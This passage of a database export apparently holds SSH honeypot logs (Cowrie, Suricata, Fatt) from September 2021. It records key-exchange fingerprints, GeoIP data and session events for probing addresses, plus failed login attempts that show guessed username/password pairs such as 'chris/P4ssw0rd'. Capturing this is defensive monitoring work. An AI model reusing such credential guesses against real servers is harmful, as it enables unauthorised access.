"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53978, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.626944", "@timestamp": "2021-09-20T11:06:54.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21685	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.215462+03	2021-09-20 14:15:03.975614+03	{"_id": "MQbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [chris/P4ssw0rd] failed", "session": "aa9bc632d545", "@version": "1", "password": "P4ssw0rd", "username": "chris", "timestamp": "2021-09-20T11:06:54.215462Z", "@timestamp": "2021-09-20T11:06:54.215Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21686	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.410806+03	2021-09-20 14:15:03.976659+03	{"_id": "MgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f86d8dbebc6a", "@version": "1", "timestamp": "2021-09-20T11:06:54.410806Z", "@timestamp": "2021-09-20T11:06:54.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21687	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.525201+03	2021-09-20 14:15:03.978613+03	{"_id": "MwbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b37b4f7e599f", "@version": "1", "duration": 2.5711100101470947, "timestamp": "2021-09-20T11:06:54.525201Z", "@timestamp": "2021-09-20T11:06:54.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21688	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:54.599829+03	2021-09-20 14:15:03.979613+03	{"_id": "NAbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 13 seconds", "session": "d6dfcef274a0", "@version": "1", "duration": 13.213425159454346, "timestamp": "2021-09-20T11:06:54.599829Z", "@timestamp": "2021-09-20T11:06:54.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21689	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.672169+03	2021-09-20 14:15:03.980612+03	{"_id": "NQbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/asteriskftp] failed", "session": "1f9927d187ae", "@version": "1", "password": "asteriskftp", "username": "ftpuser", "timestamp": "2021-09-20T11:06:54.672169Z", "@timestamp": "2021-09-20T11:06:54.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21690	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.067003+03	2021-09-20 14:15:03.981612+03	{"_id": "NgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a9a997c4a94a", "@version": "1", "duration": 3.210942506790161, "timestamp": "2021-09-20T11:06:55.067003Z", "@timestamp": "2021-09-20T11:06:55.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21691	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:55.103054+03	2021-09-20 14:15:03.982613+03	{"_id": "NwbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "554c9cd49e1b", "@version": "1", "duration": 2.471531629562378, "timestamp": "2021-09-20T11:06:55.103054Z", "@timestamp": "2021-09-20T11:06:55.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21693	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:55.269654+03	2021-09-20 14:15:03.984612+03	{"_id": "OQbjAnwBvYTbRNuEMAST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 914840571769154, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52872, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.269654Z", "@timestamp": "2021-09-20T11:06:55.269Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21694	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:55.504812+03	2021-09-20 14:15:03.986613+03	{"_id": "OgbjAnwBvYTbRNuEMAST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 545645183009623, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34248, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.504812Z", "@timestamp": "2021-09-20T11:06:55.504Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21695	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:55.83217+03	2021-09-20 14:15:03.987613+03	{"_id": "OwbjAnwBvYTbRNuEMAST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1164863503027302, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49860, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.832170Z", "@timestamp": "2021-09-20T11:06:55.832Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21696	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:55.85151+03	2021-09-20 14:15:03.988614+03	{"_id": "PAbjAnwBvYTbRNuEMAST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1927127856280553, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49806, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.851510Z", "@timestamp": "2021-09-20T11:06:55.851Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21697	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:55.50538+03	2021-09-20 14:15:03.989613+03	{"_id": "PgbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34248, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.505380", "@timestamp": "2021-09-20T11:06:55.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21698	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:55.83231+03	2021-09-20 14:15:03.990613+03	{"_id": "QgbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49860, "timestamp": "2021-09-20T11:06:55.832310", "@timestamp": "2021-09-20T11:06:55.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21699	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:56.11964+03	2021-09-20 14:15:03.991614+03	{"_id": "ggbjAnwBvYTbRNuENAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 620998236804172, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7482, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.119640Z", "@timestamp": "2021-09-20T11:06:56.119Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
